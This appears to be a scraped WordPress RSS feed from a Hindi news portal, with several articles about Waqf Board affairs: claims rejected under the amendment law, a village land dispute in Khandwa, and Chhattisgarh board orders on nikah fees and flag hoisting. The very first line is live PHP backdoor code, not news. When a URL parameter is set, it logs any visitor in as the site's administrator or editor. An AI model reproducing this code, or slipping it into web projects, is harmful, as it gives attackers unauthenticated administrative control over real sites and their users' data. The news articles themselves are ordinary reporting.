// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Waqf Board – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 10 Feb 2026 11:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 वक्फ संशोधन कानून का असर: एमपी की 1,178 संपत्तियां बाहर, 24,696 वक्फ दावे खारिज https://pratyushaashakinayikiran.com/?p=196813 Tue, 10 Feb 2026 11:35:00 +0000 https://pratyushaashakinayikiran.com/?p=196813 भोपाल 

वक्फ संपत्तियों के रख-रखाव और उनके जनहित में उपयोग के लिए केंद्र सरकार की ओर से लाए गए वक्फ संशोधन कानून के परिणाम सामने आने लगे हैं। वक्फ संपत्तियों के डिजिटलीकरण और सत्यापन की प्रक्रिया के बीच सरकार ने अब तक 24,696 वक्फ दावे खारिज (अस्वीकार) कर दिए हैं। यानी इन दावों में शामिल संपत्तियों को फिलहाल वक्फ संपत्तियां नहीं माना गया है। अस्वीकार होने वाले मामलों में सबसे अधिक 4,802 दावे राजस्थान में हैं। तेलंगाना 4,458 खारिज मामलों के साथ दूसरे स्थान पर है।

मध्यप्रदेश में 1,178 दावे निरस्त किए गए हैं। संशोधित कानून में वक्फ संपत्तियों के अनिवार्य पंजीकरण के प्रावधान को सुप्रीम कोर्ट से हरी झंडी मिलने के बाद केंद्र ने जून में 'उम्मीद' पोर्टल शुरू कर वक्फ संपत्तियों का डिजिटल पंजीकरण अनिवार्य किया था। देश में 8,72,802 वक्फ अचल संपत्तियां दर्ज हैं। इनमें से 5,82,541 का विवरण अपलोड किया जा चुका है।
1. डीड या घोषणा का अभाव

यदि किसी संपत्तियों को वक्फ घोषित करने का विधिवत दस्तावेज उपलब्ध नहीं है या रिकॉर्ड में दर्ज नहीं है।

2. राजस्व रिकॉर्ड में नाम दर्ज न होना

राज्य के भू-राजस्व अभिलेख (खसरा, खतौनी, जमाबंदी आदि) में संपत्ति वक्फ के नाम दर्ज नहीं हो, या निजी/सरकारी भूमि के रूप में दर्ज हो 

3. स्वामित्व विवाद

यदि संपत्ति पर निजी व्यक्ति का दावा हो, कोर्ट में मामला लंबित हो, सरकारी भूमि के रूप में दर्ज होने पर
4. डुप्लीकेट या ओवरलैप एंट्री

एक ही संपत्ति को दो बार दर्ज या सीमांकन स्पष्ट न होना
5. अधूरी जानकारी

पोर्टल पर दस्तावेज अधूरे, नक्शा या सर्वे विवरण न हो, क्षेत्रफल में विसंगति
क्यों जरूरी है यह प्रक्रिया?

अल्पसंख्यक कार्य मंत्रालय के सूत्रों के अनुसार, वक्फ संपत्तियों का डिजिटलीकरण पारदर्शिता बढ़ाने, फर्जी दावों पर रोक लगाने और वक्फ संपतियों के बेहतर प्रबंधन के उद्देश्य से किया जा रहा है।

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वक्फ संशोधन कानून का असर: एमपी की 1,178 संपत्तियां बाहर, 24,696 वक्फ दावे खारिज https://pratyushaashakinayikiran.com/?p=196815 Tue, 10 Feb 2026 11:35:00 +0000 https://pratyushaashakinayikiran.com/?p=196815 भोपाल 

वक्फ संपत्तियों के रख-रखाव और उनके जनहित में उपयोग के लिए केंद्र सरकार की ओर से लाए गए वक्फ संशोधन कानून के परिणाम सामने आने लगे हैं। वक्फ संपत्तियों के डिजिटलीकरण और सत्यापन की प्रक्रिया के बीच सरकार ने अब तक 24,696 वक्फ दावे खारिज (अस्वीकार) कर दिए हैं। यानी इन दावों में शामिल संपत्तियों को फिलहाल वक्फ संपत्तियां नहीं माना गया है। अस्वीकार होने वाले मामलों में सबसे अधिक 4,802 दावे राजस्थान में हैं। तेलंगाना 4,458 खारिज मामलों के साथ दूसरे स्थान पर है।

मध्यप्रदेश में 1,178 दावे निरस्त किए गए हैं। संशोधित कानून में वक्फ संपत्तियों के अनिवार्य पंजीकरण के प्रावधान को सुप्रीम कोर्ट से हरी झंडी मिलने के बाद केंद्र ने जून में 'उम्मीद' पोर्टल शुरू कर वक्फ संपत्तियों का डिजिटल पंजीकरण अनिवार्य किया था। देश में 8,72,802 वक्फ अचल संपत्तियां दर्ज हैं। इनमें से 5,82,541 का विवरण अपलोड किया जा चुका है।
1. डीड या घोषणा का अभाव

यदि किसी संपत्तियों को वक्फ घोषित करने का विधिवत दस्तावेज उपलब्ध नहीं है या रिकॉर्ड में दर्ज नहीं है।

2. राजस्व रिकॉर्ड में नाम दर्ज न होना

राज्य के भू-राजस्व अभिलेख (खसरा, खतौनी, जमाबंदी आदि) में संपत्ति वक्फ के नाम दर्ज नहीं हो, या निजी/सरकारी भूमि के रूप में दर्ज हो 

3. स्वामित्व विवाद

यदि संपत्ति पर निजी व्यक्ति का दावा हो, कोर्ट में मामला लंबित हो, सरकारी भूमि के रूप में दर्ज होने पर
4. डुप्लीकेट या ओवरलैप एंट्री

एक ही संपत्ति को दो बार दर्ज या सीमांकन स्पष्ट न होना
5. अधूरी जानकारी

पोर्टल पर दस्तावेज अधूरे, नक्शा या सर्वे विवरण न हो, क्षेत्रफल में विसंगति
क्यों जरूरी है यह प्रक्रिया?

अल्पसंख्यक कार्य मंत्रालय के सूत्रों के अनुसार, वक्फ संपत्तियों का डिजिटलीकरण पारदर्शिता बढ़ाने, फर्जी दावों पर रोक लगाने और वक्फ संपतियों के बेहतर प्रबंधन के उद्देश्य से किया जा रहा है।

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MP में वक्फ बोर्ड ने सिहाड़ा गांव को बताया अपनी संपत्ति, ग्रामीणों ने कहा- यह हमारी पुरखों की जमीन https://pratyushaashakinayikiran.com/?p=190507 Mon, 10 Nov 2025 10:36:00 +0000 https://pratyushaashakinayikiran.com/?p=190507  खंडवा
 मध्य प्रदेश के खंडवा स्थित पूरे सिहाड़ा गांव की जमीन को वक्फ बोर्ड द्वारा अपनी संपत्ति बताने से ग्रामीणों में आक्रोश है। उनका कहना है कि हम यहां बरसों से रह रहे हैं। हमारी पुरखों की जमीन को कोई कैसे अपनी बता सकता है। कुछ लोग भोपाल जाकर सरकार के संज्ञान में भी इस मामले को लाएंगे। इस बीच, मन्यायालय मप्र स्टेट वक्फ ट्रिब्यूनल भोपाल से मिले नोटिस का जवाब देने के लिए सरपंच प्रतिनिधि भोपाल रवाना हो गए हैं।

सोमवार को ट्रिब्यूनल के समक्ष पेश होकर सप्रमाण जवाब दाखिल करना है। इस विवाद की शुरुआत तब हुई, जब ग्राम पंचायत ने स्थानीय दरगाह के पास अतिक्रमण और तार फेंसिंग हटाने का नोटिस दिया था। कमेटी ने नोटिस का जवाब देने के बजाय भोपाल वक्फ बोर्ड में शिकायत कर दी। वक्फ बोर्ड द्वारा आनन-फानन में दुर्भावनावश पूरे गांव का खसरा क्रमांक 781 रकबा 14.0500 हेक्टेयर जमीन को अपनी संपत्ति बताने से ग्रामीणों में हड़कंप है।

न्यायालय मप्र स्टेट वक्फ ट्रिब्यूनल भोपाल से मिले नोटिस के बाद सिहाड़ा ग्राम पंचायत की ओर से सरपंच कोकिला बाई के प्रतिनिधि हेमंत चौहान अधिवक्ता के साथ सोमवार को भोपाल में नोटिस का जवाब देंगे। चौहान ने बताया कि वक्फ बोर्ड के झूठे दावे के खिलाफ जवाब के साथ आवश्यक दस्तावेज प्रस्तुत किए जाएंगे।
गांव नहीं दरगाह की जमीन का है विवाद

जिला वक्फ बोर्ड के सचिव रियाज खान ने बताया कि ग्राम पंचायत द्वारा दरगाह की जमीन को अपनी बता कर कब्जा करने का प्रयास किया जा रहा है। विवाद इस जमीन को लेकर है, पूरे गांव की जमीन को लेकर पंचायत लोगों को गुमराह कर रही है।
दरगाह कमेटी को अतिक्रमण हटाने का नोटिस

    न्यायालय मप्र स्टेट वक्फ ट्रिब्यूनल भोपाल से प्रशासन को अभी तक कोई नोटिस नहीं मिला है। ग्राम पंचायत सिहाड़ा द्वारा इस संबंध में अवगत करवाया गया है। स्वामित्व योजना में ड्रोन सर्वे के रिकार्ड में खुली जमीन शासकीय रिकार्ड में दर्ज है। ग्राम पंचायत के आवेदन पर दरगाह के पास खाली जमीन से दरगाह कमेटी को अतिक्रमण हटाने के लिए नोटिस दिया है। -महादेव राठौड़, तहसीलदार (ग्रामीण) खंडवा

ग्रामीण बोले

    नरेंद्र सिंह ने बताया कि गांव की आबादी जमीन पर वक्फ बोर्ड का दावा समझ से परे है। हमारे पूर्वज यहां के मालगुजार रहे हैं। करीब 500 साल से हम पीढ़ी-दर-पीढ़ी यहां निवासरत हैं। इसके लिए हर संभव लड़ाई लड़ी जाएगी।
    लखन मालाकार ने कहा कि वक्फ बोर्ड की मनमानी नहीं चलने देंगे। यहां हिंदू -मुस्लिम परिवार मिलकर बरसों से रह रहे हैं। गांव और सरकारी जमीन को अपनी बताने वालों पर कार्रवाई होना चाहिए।
    किसान रोहित मालाकार ने बताया कि गांव सिहाड़ा में हमारे बाप -दादाओं की संपत्ति शासकीय रिकार्ड में दर्ज है। वक्फ बोर्ड इसे कैसे अपनी बात सकता है। हमारे पास दस्तावेज है।
    सावन राजपाली का कहना है कि खसरा क्रमांक 781 में पूरा सिहाड़ा गांव दर्ज है। हमारी संपत्ति भी इसी में है। इसका शासन को टैक्स भी जमा कर रहे हैं। शासन-प्रशासन को वस्तु स्थिति स्पष्ट करना चाहिए।

 

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छत्तीसगढ़ वक्फ बोर्ड का आदेश, निकाह पढ़ाने वाले मौलवी 1100 रुपये से ज्यादा नहीं लेंगे https://pratyushaashakinayikiran.com/?p=177328 Tue, 12 Aug 2025 08:25:00 +0000 https://pratyushaashakinayikiran.com/?p=177328 रायपुर
 छत्तीसगढ़ राज्य वक्फ बोर्ड ने मंगलवार को एक बड़ा आदेश जारी किया है। यह आदेश अध्यक्ष सलीम राज ने समस्त वक्फ संस्थाओं (मस्जिद, मदरसा, दरगाह) के मुतवल्लीयों के लिए जारी किया है। आदेश में कहा गया है कि छत्तीसगढ़ में अब निकाह पढ़ाने के लिए ईमाम, मौलाना द्वारा जो नजराना या उपहार लिया जाता है वह 11 सौ रुपये से अधिक नहीं ले सकेंगे। सलीम राज के पास इसे लेकर कई शिकायतें मिली थीं जिसके बाद यह आदेश जारी किया गया है।

क्या शिकायत मिली थी
डॉ सलीम राज के पास विगत दिनों कुछ शिकायतें प्राप्त हुई थी। जिसमें कहा गया था कि किसी एक इमाम, मौलाना ने निकाह पढ़ाने के लिए 5100 रुपये नजराना नहीं दिए जाने पर निकाह पढ़ाने से इनकार कर दिया और वहां से चले गये। इस प्रकार की शिकायत को गंभीरता से लेते हुए सलीम राज ने यह आदेश जारी किया है कि अब प्रदेश भर के इमाम, मौलाना निकाह पढ़ाने के लिए 1100 रुपये से अधिक नजराना या उपहार नहीं ले सकेंगे।

शिकायत मिलने पर कार्रवाई
उन्होंने कहा कि इस्लाम में शरीयत का भी यह हुक्म है कि निकाह को आसान करें। पूरे प्रदेश में लगभग 800 से अधिक इमाम और मौलाना है जो निकाह पढ़ाने का काम करते हैं, यदि किसी इमाम या मौलाना द्वारा इस आदेश का उल्लंघन किया जाता है या किसी इमाम या मौलाना के खिलाफ इस प्रकार की कोई शिकायत प्राप्त होती है तो उनके खिलाफ कार्रवाई की जाएगी।

क्या कहा सलीम राज ने
सलीम राज ने कहा कि, यह फरमान जारी करने का मुख्य उद्देश्य यह है कि समाज के अति पिछड़ा वर्ग और गरीब वर्ग के लोग को सहूलियत दी जाए। एक गरीब परिवार के लिए 5100 रुपये बहुत महत्व रखता है। उसे कमाने में बड़ी मशक्कत करनी पड़ती है। इस फरमान से समाज में जो एक विसंगती पैदा हो गई थी वह दूर होगी और गरीब परिवार के लोगों को निकाह पढ़ाने के लिए कोई बड़ी रकम नजराना नहीं देना होगा।

33 फीसदी तलाक के केस में कमी
सलीम राज ने कहा कि, देश के माननीय प्रधानमंत्री नरेन्द्र मोदी जी का सपना है कि गरीब का हक गरीब को मिले। तीन तलाक का कानून लागू होने से मुस्लिम तलाकशुदा महिला आज सुखी जीवन व्यतीत कर रही हैं। तलाक में आज 35 प्रतिशत की कमी आई है।

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छत्तीसगढ़ में पहली बार मस्जिदों पर होगा ध्वजारोहण, वक्फ बोर्ड ने जारी किए निर्देश https://pratyushaashakinayikiran.com/?p=177332 Tue, 12 Aug 2025 08:11:00 +0000 https://pratyushaashakinayikiran.com/?p=177332 रायपुर 
छत्तीसगढ़ में इस बार स्वतंत्रता दिवस का जश्न एक नया इतिहास रचेगा। राज्य में पहली बार सभी मस्जिदों, मदरसों और दरगाहों के मुख्य द्वार पर तिरंगा फहराने का निर्णय लिया गया है। छत्तीसगढ़ वक्फ बोर्ड के अध्यक्ष डॉ. सलीम राज ने इस संबंध में प्रदेशभर के मुतवल्लियों को आधिकारिक निर्देश जारी किए हैं। छत्तीसगढ़ वक्फ बोर्ड के अध्यक्ष डॉ. सलीम राज ने सभी मुतवल्लियों को इस संबंध में निर्देश जारी किए हैं।

निर्देश में कहा गया है कि 79वें स्वतंत्रता दिवस के अवसर पर सभी धार्मिक स्थलों के मुख्य द्वार पर राष्ट्रीय ध्वज फहराया जाए। साथ ही मुस्लिम समुदाय से राष्ट्रीय पर्व की गरिमा बनाए रखने और आपसी भाईचारे के साथ उत्सव मनाने की अपील की गई है।

वक्फ बोर्ड के अनुसार, अब तक प्रदेश के कई मस्जिदों, मदरसों और दरगाहों में ध्वजारोहण की परंपरा नहीं रही है। ऐसे में इस पहल का उद्देश्य सभी को स्वतंत्रता दिवस समारोह में सक्रिय भागीदारी के लिए प्रेरित करना है। 

15 अगस्त को देशभक्ति का साझा संदेश

डॉ. सलीम राज के अनुसार, यह पहल राष्ट्रीय पर्व की गरिमा बढ़ाने और सामुदायिक एकता का संदेश देने के लिए की गई है। उन्होंने कहा 

    “तिरंगा सिर्फ एक झंडा नहीं, बल्कि हमारा सम्मान और अभिमान है। इसे फहराना वतन से मोहब्बत और देशभक्ति की पहचान है।”

बोर्ड का कहना है कि प्रदेश के कई धार्मिक स्थलों पर अब तक स्वतंत्रता दिवस या गणतंत्र दिवस पर ध्वजारोहण की परंपरा नहीं रही है। ऐसे में, इस बार सभी को सक्रिय रूप से भाग लेने और भाईचारे के माहौल में पर्व मनाने के लिए प्रोत्साहित किया जा रहा है।

निर्देश में क्या कहा गया

जारी निर्देशों के मुताबिक:

  •     15 अगस्त को सुबह सभी मस्जिदों, मदरसों और दरगाहों के मेन गेट पर ध्वजारोहण किया जाएगा।
  •     कार्यक्रम के दौरान राष्ट्रीय सम्मान और शांति का संदेश दिया जाएगा।
  •     आयोजन में बच्चों और युवाओं को शामिल करने की विशेष अपील की गई है।

मौलवियों के लिए पूर्व में जारी आदेश

गौरतलब है कि हाल ही में छत्तीसगढ़ वक्फ बोर्ड ने प्रदेश के मौलवियों और निकाह पढ़ाने वाले इमामों के लिए भी एक अहम आदेश जारी किया था। इसमें स्पष्ट किया गया था कि वे निकाह के अवसर पर उपहार या नजराने के रूप में 1100 रुपये से अधिक राशि स्वीकार नहीं करेंगे। यह कदम शिकायतों के आधार पर पारदर्शिता और सादगी को बढ़ावा देने के लिए उठाया गया था।

एक नई शुरुआत

इस पहल को प्रदेश में आपसी सद्भाव और राष्ट्रीय एकता की दिशा में एक सकारात्मक कदम माना जा रहा है। वक्फ बोर्ड को उम्मीद है कि आने वाले वर्षों में यह परंपरा स्थायी रूप से सभी धार्मिक स्थलों में अपनाई जाएगी।

तिरंगा हमारा मान-सम्मान और अभिमान: डॉ. राज

वक्फ बोर्ड अध्यक्ष डॉ. सलीम राज ने दैनिक भास्कर से कहा कि तिरंगा हमारा मान-सम्मान और अभिमान है। इस वजह से हर मस्जिद, मदरसा और दरगाह में ध्वजारोहण का निर्देश दिया है। ये वतन परस्ती और देश से प्यार बताने का सबूत है।

छत्तीसगढ़ वक्फ बोर्ड ने मौलवियों के लिए निर्देश जारी

इससे पहले छत्तीसगढ़ राज्य वक्फ बोर्ड ने प्रदेश के मौलवियों को लेकर विशेष निर्देश जारी किए थे। यह आदेश सभी वक्फ संस्थाओं (मस्जिद, मदरसा, दरगाह) के मुतवल्लियों के लिए लागू किया गया था।

निर्देश में स्पष्ट किया गया कि प्रदेश में निकाह पढ़ाने वाले इमाम या मौलाना नजराने या उपहार के रूप में 1100 रुपए से ज्यादा नहीं ले सकेंगे। इस संबंध में कई शिकायतें प्राप्त होने के बाद यह आदेश जारी किया गया।

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वक्फ बोर्ड ने तैयार की संपत्तियों की सूची, करोड़ों की आमदनी अब जाएगी शिक्षा पर https://pratyushaashakinayikiran.com/?p=174570 Thu, 31 Jul 2025 10:16:00 +0000 https://pratyushaashakinayikiran.com/?p=174570 भोपाल 

वक्फ सम्पत्तियों पर नाममात्र किराया देकर काबिज लोगों से बोर्ड वसूली करेगा। कब्जों को हटाने से लेकर जुर्माना वसूली तक कार्रवाई की तैयारी है। इसके लिए बोर्ड ने सूची तैयारी की है। इसके तहत हाल में 27 करोड़ रुपए का नोटिस जारी किया गया है। सम्पत्तियों से वसूली समाज में शिक्षा की बढ़ोतरी और सुधार पर खर्च करने की योजना है।

प्रदेश में करीब 15 हजार वक्फ सम्पत्तियां हैं। इनमें से 77 भोपाल में हैं। एक आंकलन के मुताबिक इनमें से 80 प्रतिशत पर कब्रिस्तान, मस्जिद, मदरसे हैं। बाकी में किरादारी की स्थिति हैं। ज्यादा प्राइम लोकेशन पर हैं। लेकिन किराए के रूप में नाममात्र की आय हो रही है। इसे देखते हुए बोर्ड ने किराएदारी नियमों में संशोधन किया था। इसके तहत तहत वर्तमान मूल्य के आधार पर इसका मूल्यांकन होना है। ये वक्फ सम्पत्तियों से होने वाली आय में इजाफे के लिए हुआ है।

शिक्षा को बढ़ावा और समाजसुधार पर जोर

बोर्ड के मुताबिक शिक्षा को बढ़ावा देने बोर्ड बढ़ावा देगा। इस पर राशि खर्च की जाना है। जिला स्तर पर भी इसके संबंध में तैयारी की गई है।

वक्फ सम्पत्तियों से कब्जों को हटाने की कार्रवाई हो रही है। प्रबंधन का हिसाब भी मांगा जा रहा है। इसके लिए पहले ही बैंक खाता होना अनिवार्य कर दिया गया है। हाल में 27 करोड़ का नोटिस भेजा गया है।- डॉ सन्नवर पटेल, अध्यक्ष मप्र वक्फ बोर्ड

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मध्यप्रदेश वक्फ बोर्ड के अधीन 15 हजार वक़्फ सम्पतियां रजिस्टर्ड, खुलेंगे ऑनलाइन बैंक खाते, सेन्ट्रल बैंक से हुआ करार https://pratyushaashakinayikiran.com/?p=167649 Tue, 01 Jul 2025 04:16:00 +0000 https://pratyushaashakinayikiran.com/?p=167649 भोपाल
 मध्यप्रदेश वक्फ बोर्ड के अधीन 15 हजार वक़्फ सम्पतियां रजिस्टर्ड है। कमेटियों के बैंक खाता नहीं होने के कारण भारी अनियमिताएं होने की लगातार शिकायतें मिल रही थी। इस पर वफ्फ बोर्ड के अध्यक्ष डॉ सनवर पटेल के सख्त निर्देश पर बोर्ड ने गहन छानबीन करते हुए बताया कि कमेटियों के बैंक खाते नहीं होने के कारण बोर्ड भारी असुविधा एवं आर्थिक नुकसान उठाना पड़ रहा था।

बैंक खाता अनिवार्य रूप से खुलवाने का फैसला

राज्य के बोर्ड ने अपने काम में पारदर्शिता लाने, ऊपरी लेन देन रोकने और बोर्ड एवं कमेटियों की आर्थिक स्थिति को मजबूत करने के लिए बोर्ड की कमेटियों का बैंक खाता अनिवार्य रूप से खुलवाने का फैसला किया, परन्तु प्रदेश भर में कमेटियों के खाते खोलने को लेकर बैंक में बहुत सी परेशानियों का सामना करना पड़ता था। अनेक स्थानों पर तो बैंक खाते खुल ही नहीं पाते थे। कमेटियों की इस परेशानी को दूर करने के लिए बोर्ड चेयरमैन डॉ सनवर पटेल ने बोर्ड की टीम के साथ सेन्ट्रल बैंक के जोनल हेड एवं मैनेजमेंट से अनेक दौर की चर्चा की।

खाता खुलवाने का सरकुलर जारी

उक्त कार्य में मध्यप्रदेश शासन के प्रमुख सचिव सहित वरिष्ठ अधिकारियों ने भी महत्वपूर्ण सहयोग एवं मार्गदर्शन किया। आज सेंट्रल बैंक ने बड़ा निर्णय लेते हुए बोर्ड के इतिहास में पहली बार अपनी सभी शाखाओं को बोर्ड की वैधानिक कमेटियों का खाता खुलवाने का सरकुलर जारी कर दिया है। ऐसी सभी वक्फ कमेटियां जिनको अपना बैंक खाता खुलवाने में परेशानी होती थी। कमेटियों के पदाधिकारी अब इस पत्र के साथ अपने जिले में सेन्ट्रल बैंक की अपने पास स्थित शाखा में जाये और अपनी वक्फ कमेटी का खाता बिना किसी परेशानी के खुलवाये।

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नए वक्फ बिल के बाद राजधानी में जल्द ही वक्फ की जमीनों पर कब्जे हटाने शुरू होगें, कब्रिस्तानों पर बने निर्माणों पर चलेंगे बुलडोजर https://pratyushaashakinayikiran.com/?p=147300 Wed, 09 Apr 2025 03:36:00 +0000 https://pratyushaashakinayikiran.com/?p=147300 भोपाल

नए वक्फ बिल के बाद राजधानी में जल्द ही वक्फ की जमीनों पर कब्जे हटाने शुरू होगें। वक्फ रेकॉर्ड के अनुसार सबसे ज्यादा कब्जे कब्रिस्तानों पर हैं। करीब 100 कब्रिस्तान खत्म हो चुके हैं। इनमें कहीं बस्तियां हैं तो कहीं काम्पलेक्स तो सरकारी दफ्तर भी काबिज हैं।

 बोर्ड के रेकॉर्ड में राजधानी में 7700 वक्फ सम्पत्तियां हैं इसमें 135 कब्रिस्तान हैं। लेकिन इनमें से 30 ही बचे हैं। कब्रिस्तानों के संरक्षण के लिए काम कर रहे जमीयत के सचिव इमरान हारून के मुताबिक वर्तमान में भोपाल टॉकीज चौराहा, पुराना आरटीओ ऑफिस, नरेला संकरी, कोलार, जहांगीराबाद सहित कई इलाकों में कब्रिस्तानों के नामोनिशान भी नहीं बचा। पीएचक्यू के पास सरकारी दफ्तर के पीछे कब्रों के निशान अब भी हैं।

वक्फ बोर्ड ने जिला प्रशासन को 7700 संपत्तियों की जानकारी दी है। राजस्व रेकॉर्ड अपडेट किया जा रहा है। इसके आधार पर बोर्ड का रिकॉर्ड भी अपडेट होगा। वक्फ बोर्ड अध्यक्ष सनवर पटेल के मुताबिक प्रशासन को सभी की जानकारी दी चुकी है।
इमरान हारून ने बताया कि शहर में करीब 70 प्रतिशत कब्रिस्तान खत्म हो गए हैं। कब्रिस्तान पर बस्तियां बस गई हैं तो कहीं लोगों ने अतिक्रमण कर कब्जा कर लिया है। नए बिल से निजी कब्जों पर तो कार्रवाई संभव है सरकारी के लिए क्या होगा कुछ पता नहीं। उसके बदले बोर्ड क्या सरकार से जमीन लेेगी।

मुस्लिम महासभा के मुन्नवर अली ने बताया कि ये भावनाओं से जुड़ा मुद्दा है। बीते साल ही शहर के कब्रिस्तानों में दफनाने के लिए जगह की कमी की बात सामने आई। निजी कब्जेधारियों पर तो कार्रवाई हुई लेकिन जिन जमीनों पर सरकार का कब्जा है उनके बदले क्या होगा। कब्रिस्तान के बदले जमीन मिलनी चाहिए।

जानें वक्फ के नए कानून में क्या है

वक्फ का नया कानून बनने के बाद होने वाले बदलावों को लेकर अल्पसंख्यक मामलों के मंत्रालय ने शनिवार को विस्तृत जानकारी दी है। इसमें लोगों के बीच बनी धारणा और कानून के प्रावधानों की सच्चाई को सामने रखते हुए सरकार ने साफ किया है कि नया कानून बनने के बाद न तो वक्फ संपत्तियां वापस ली जाएंगी और न ही निजी भूमि पर कब्जा किया जाएगा। इसी पर एक नजर…

सवाल : वक्फ संपत्तियां वापस ले ली जाएंगी?
सच्चाई
: वक्फ कानून 1995 के तहत पंजीकृत कोई भी संपत्ति वक्फ के रूप में वापस नहीं ली जाएगी। क्योंकि एक बार जब कोई संपत्ति वक्फ की घोषित हो जाती है तो स्थायी रूप से उसी रूप में रहती है। विधेयक जिला कलेक्टर को उन संपत्तियों की समीक्षा करने की अनुमति देता है जिन्हें वक्फ के रूप में गलत तरीके से वर्गीकृत किया जा सकता है, खासकर अगर सरकारी संपत्ति है तो। वैध वक्फ संपत्तियां संरक्षित रहती हैं।

सवाल : क्या वक्फ संपत्तियों का सर्वेक्षण नहीं होगा?
सच्चाई
: एक सर्वेक्षण होगा। कानून सर्वेक्षण आयुक्त की पुरानी भूमिका के स्थान पर जिला कलेक्टर को नियुक्त करता है। जिला कलेक्टर मौजूदा राजस्व प्रक्रियाओं का उपयोग करके सर्वेक्षण करेंगे। इसका उद्देश्य सर्वेक्षण प्रक्रिया रोके बिना रिकॉर्डों की सटीकता में सुधार करना है।
 
सवाल : क्या मुसलमानों की निजी भूमि अधिग्रहित की जाएगी?
सच्चाई
: कोई निजी भूमि अधिग्रहित नहीं की जाएगी। यह केवल उन संपत्तियों पर लागू होता है जिन्हें वक्फ घोषित किया गया है। निजी या व्यक्तिगत संपत्ति को प्रभावित नहीं करता है जिसे वक्फ के रूप में दान नहीं किया गया है। केवल स्वैच्छिक और कानूनी रूप से वक्फ के रूप में समर्पित संपत्तियां ही नए नियमों के अंतर्गत आती हैं।

सवाल : क्या वक्फ बोर्डों में गैर-मुस्लिम बहुसंख्यक हो जाएंगे?

सच्चाई : बोर्ड में गैर-मुस्लिम शामिल होंगे लेकिन वे बहुमत में नहीं होंगे। केंद्रीय वक्फ परिषद और राज्य वक्फ बोर्डों में पदेन सदस्यों को छोड़कर दो गैर-मुस्लिमों को सदस्य के रूप में शामिल करने की आवश्यकता होगी, जिससे परिषद में अधिकतम चार गैर-मुस्लिम सदस्य और वक्फ बोर्ड में अधिकतम तीन सदस्य हो सकते हैं। केंद्रीय वक्फ परिषद और राज्य बोर्डों में कम से कम दो सदस्य गैर-मुस्लिम होने चाहिए। इसका उद्देश्य समुदाय के प्रतिनिधित्व को कम किए बिना विशेषज्ञता को जोड़ना है।

सवाल : क्या सरकार इस विधेयक का उपयोग वक्फ संपत्तियों पर कब्जा करने के लिए करेगी?
सच्चाई : कानून जिला कलेक्टर के पद से ऊपर के एक अधिकारी को यह समीक्षा करने और सत्यापित करने का अधिकार देता है कि क्या सरकारी संपत्ति को गलत तरीके से वक्फ के रूप में वर्गीकृत किया गया है। लेकिन यह वैध रूप से घोषित वक्फ संपत्तियों को जब्त करने के लिए अधिकृत नहीं करता है।

क्या कानून गैर-मुसलमानों को मुस्लिम समुदाय की संपत्ति पर नियंत्रण या प्रबंधन की अनुमति देता है?

सच्चाई : संशोधन में प्रावधान किया गया है कि केंद्रीय वक्फ परिषद और राज्य बोर्ड में दो कुछ ही गैर-मुस्लिम होंगे। चूंकि अधिकांश सदस्य मुस्लिम समुदाय से होंगे, जिससे धार्मिक मामलों पर समुदाय का नियंत्रण बना रहेगा।

धारणा : क्या उपयोगकर्ता  द्वारा वक्फ का प्रावधान हटाने से लंबे समय से स्थापित परंपराएं खत्म हो जाएंगी?

सच्चाई : यह प्रावधान हटाने का उद्देश्य संपत्ति पर अनधिकृत या गलत दावों को रोकना है। उपयोगकर्ता संपत्तियों (जैसे मस्जिद, दरगाह और कब्रिस्तान) द्वारा ऐसे वक्फ को सुरक्षा प्रदान की गई है जो वक्फ संपत्ति के रूप में बनी रहेंगी, सिवाय इसके कि संपत्ति पूरी तरह या आंशिक रूप से विवाद में है या सरकारी संपत्ति है। उपयोगकर्ता द्वारा वक्फ से तात्पर्य ऐसी स्थिति से है, जहां किसी संपत्ति को सिर्फ इसलिए वक्फ माना जाता है क्योंकि उसका उपयोग लंबे समय से धार्मिक या धर्मार्थ उद्देश्यों के लिए किया जाता रहा है, भले ही मालिक द्वारा कोई औपचारिक, कानूनी घोषणा न की गई हो।

सवाल : क्या मस्जिद, दरगाह और कब्रिस्तान की पारंपरिक स्थिति प्रभावित होगी?

सच्चाई : वक्फ संपत्तियों के धार्मिक या ऐतिहासिक चरित्र में हस्तक्षेप नहीं करता। इन स्थलों की पवित्र प्रकृति में बदलाव करना नहीं बल्कि प्रशासनिक पारदर्शिता बढ़ाना ही इसका उद्देश्य है।

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वक्फ बोर्ड बिल में क्या-क्या है, किसे फायदा, किसे नुकसान.. समझिए पूरी बात https://pratyushaashakinayikiran.com/?p=145386 Wed, 02 Apr 2025 06:35:00 +0000 https://pratyushaashakinayikiran.com/?p=145386 नई दिल्ली:

लोकसभा में वक्फ संशोधन बिल आज पेश होगा। सदन में 8 घंटे की चर्चा के बाद अल्पसंख्यक कार्य मंत्री किरेन रिजिजू चर्चा का जवाब देंगे। इसके बाद बिल को पास कराने के लिए वोटिंग होगी। सरकार बिल को बुधवार को ही लोकसभा में पास कराने की तैयारी है। सरकार इसे राज्यसभा में पेश कर वहां से भी पास कराने की तैयारी में जुटी है। वहीं विपक्ष इस बिल का विरोध कर रहा है। इस बिल के खिलाफ कई जगह मुस्लिमों ने काली पट्टियां बांधकर ईद की नमाज अदा की। आइए जानते हैं वक्फ (संशोधन) विधेयक 2024 में क्या है-

    वक्फ बिल लाने का सरकार का उद्देश्य क्या है?
